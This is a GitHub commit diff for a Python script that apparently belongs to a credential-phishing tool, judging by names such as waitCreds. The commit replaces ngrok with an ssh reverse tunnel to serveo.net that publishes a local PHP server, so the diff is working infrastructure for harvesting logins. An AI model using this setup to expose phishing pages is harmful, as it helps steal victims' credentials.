remove ngrok for serveo server (#75)

This PR is follow up of #74 .
This commit is contained in:
Usama Abdul Sattar 2018-07-28 12:04:38 +05:00 committed by GitHub
parent f53c2c260d
commit 56279a42f4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -34,21 +34,6 @@ if connected() == False:
'''.format(RED, END)) '''.format(RED, END))
exit(0) exit(0)
def checkNgrok():
if path.isfile('Server/ngrok') == False:
print ('[*] Downloading Ngrok...')
ostype = systemos().lower()
if architecture()[0] == '64bit':
filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
else:
filename = 'ngrok-stable-{0}-386.zip'.format(ostype)
url = 'https://bin.equinox.io/c/4VmDzA7iaHb/' + filename
download(url)
system('unzip ' + filename)
system('mv ngrok Server/ngrok')
system('rm -Rf ' + filename)
system('clear')
checkNgrok()
def end(): def end():
system('clear') system('clear')
@ -277,13 +262,7 @@ def runPEnv():
else: else:
exit(0) exit(0)
def runNgrok():
system('./Server/ngrok http 1111 > /dev/null &')
sleep(10)
system('curl -s -N http://127.0.0.1:4040/status | grep "https://[0-9a-z]*\.ngrok.io" -oh > ngrok.url')
url = open('ngrok.url', 'r')
print("\n {0}[{1}*{0}]{1} Ngrok URL: {2}".format(CYAN, END, GREEN) + url.read() + "{1}".format(CYAN, END, GREEN))
url.close()
def serveo(): def serveo():
system('ssh -R 80:localhost:1111 serveo.net > sendlink.txt 2> /dev/null & ') system('ssh -R 80:localhost:1111 serveo.net > sendlink.txt 2> /dev/null & ')
@ -306,9 +285,10 @@ def serveo():
url.close() url.close()
system('rm sendlink.txt') system('rm sendlink.txt')
def runServer(): def runServer():
system("cd Server/www/ && sudo php -n -S 127.0.0.1:1111 > /dev/null 2>&1 &") system("cd Server/www/ && php -n -S 127.0.0.1:1111 > /dev/null 2>&1 &")
@ -318,7 +298,6 @@ def runServer():
if __name__ == "__main__": if __name__ == "__main__":
try: try:
runPEnv() runPEnv()
runNgrok()
serveo() serveo()
multiprocessing.Process(target=runServer).start() multiprocessing.Process(target=runServer).start()
waitCreds() waitCreds()
@ -326,8 +305,10 @@ if __name__ == "__main__":
except KeyboardInterrupt: except KeyboardInterrupt:
system('pkill -f ngrok')
system('pkill -f ssh') system('pkill -f ssh')
end() end()
exit(0) exit(0)